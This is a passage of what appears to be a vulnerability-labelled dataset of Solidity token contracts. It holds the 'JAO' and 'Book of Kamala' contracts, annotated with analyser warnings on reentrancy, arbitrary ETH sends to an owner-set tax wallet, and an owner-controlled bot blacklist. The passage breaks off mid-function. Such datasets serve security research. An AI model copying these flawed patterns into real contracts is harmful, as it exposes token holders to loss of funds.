"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract JAO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fb8e326): JAO._taxWallet should be immutable \n\t// Recommendation for fb8e326: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"JAO\";\n\n string private constant _symbol = unicode\"JAO\";\n\n\t// WARNING Optimization Issue (constable-states | ID: f260665): JAO._initialBuyTax should be constant \n\t// Recommendation for f260665: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7825127): JAO._initialSellTax should be constant \n\t// Recommendation for 7825127: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d9b97f): JAO._reduceBuyTaxAt should be constant \n\t// Recommendation for 0d9b97f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 70;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8d77b4b): JAO._reduceSellTaxAt should be constant \n\t// Recommendation for 8d77b4b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 905eef4): JAO._preventSwapBefore should be constant \n\t// Recommendation for 905eef4: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 71f5ae3): JAO._taxSwapThreshold should be constant \n\t// Recommendation for 71f5ae3: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 420690000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: fab0c82): JAO._maxTaxSwap should be constant \n\t// Recommendation for fab0c82: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 8413800000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 48f97a1): JAO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 48f97a1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2f959fc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2f959fc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7826c6d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7826c6d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 2f959fc\n\t\t// reentrancy-benign | ID: 7826c6d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 2f959fc\n\t\t// reentrancy-benign | ID: 7826c6d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1921a8e): JAO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1921a8e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 7826c6d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 2f959fc\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7f05044): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7f05044: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6fc4d2f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6fc4d2f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 7f05044\n\t\t\t\t// reentrancy-eth | ID: 6fc4d2f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 7f05044\n\t\t\t\t\t// reentrancy-eth | ID: 6fc4d2f\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6fc4d2f\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 6fc4d2f\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6fc4d2f\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 7f05044\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6fc4d2f\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6fc4d2f\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 7f05044\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 7f05044\n\t\t// reentrancy-events | ID: 2f959fc\n\t\t// reentrancy-benign | ID: 7826c6d\n\t\t// reentrancy-eth | ID: 6fc4d2f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits_ZXMaB() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 31a69eb): JAO.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 31a69eb: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 7f05044\n\t\t// reentrancy-events | ID: 2f959fc\n\t\t// reentrancy-eth | ID: 6fc4d2f\n\t\t// arbitrary-send-eth | ID: 31a69eb\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ca53ff9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ca53ff9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ef6bf87): JAO.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ef6bf87: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 57c9111): JAO.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 57c9111: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 46f49c7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 46f49c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: ca53ff9\n\t\t// reentrancy-eth | ID: 46f49c7\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: ca53ff9\n\t\t// unused-return | ID: ef6bf87\n\t\t// reentrancy-eth | ID: 46f49c7\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ca53ff9\n\t\t// unused-return | ID: 57c9111\n\t\t// reentrancy-eth | ID: 46f49c7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: ca53ff9\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 46f49c7\n tradingOpen = true;\n }\n\n function reduceFee_ZXMaB(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap_ZXMaB() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend_ZXMaB() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10874.sol",
"size_bytes": 19158,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BookofKamala is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d2aa6b0): BookofKamala._taxWallet should be immutable \n\t// Recommendation for d2aa6b0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: c05f3d3): BookofKamala._initialBuyTax should be constant \n\t// Recommendation for c05f3d3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: c49a055): BookofKamala._initialSellTax should be constant \n\t// Recommendation for c49a055: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e3a7762): BookofKamala._reduceBuyTaxAt should be constant \n\t// Recommendation for e3a7762: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: d4251f2): BookofKamala._reduceSellTaxAt should be constant \n\t// Recommendation for d4251f2: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 48dc49b): BookofKamala._preventSwapBefore should be constant \n\t// Recommendation for 48dc49b: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Book of Kamala\";\n\n string private constant _symbol = unicode\"Kamala\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f189e97): BookofKamala._taxSwapThreshold should be constant \n\t// Recommendation for f189e97: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d6f0a36): BookofKamala._maxTaxSwap should be constant \n\t// Recommendation for d6f0a36: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xdd207Fb55b55a566355d325253d9816203134f16);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d34c1dc): BookofKamala.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d34c1dc: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c7bae4e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c7bae4e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ad4a23b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ad4a23b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c7bae4e\n\t\t// reentrancy-benign | ID: ad4a23b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: c7bae4e\n\t\t// reentrancy-benign | ID: ad4a23b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3dde45c): BookofKamala._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3dde45c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ad4a23b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: c7bae4e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9b94757): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9b94757: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ddbd2e0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ddbd2e0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 9b94757\n\t\t\t\t// reentrancy-eth | ID: ddbd2e0\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9b94757\n\t\t\t\t\t// reentrancy-eth | ID: ddbd2e0\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: ddbd2e0\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: ddbd2e0\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ddbd2e0\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 9b94757\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: ddbd2e0\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ddbd2e0\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 9b94757\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9b94757\n\t\t// reentrancy-events | ID: c7bae4e\n\t\t// reentrancy-benign | ID: ad4a23b\n\t\t// reentrancy-eth | ID: ddbd2e0\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9b94757\n\t\t// reentrancy-events | ID: c7bae4e\n\t\t// reentrancy-eth | ID: ddbd2e0\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = 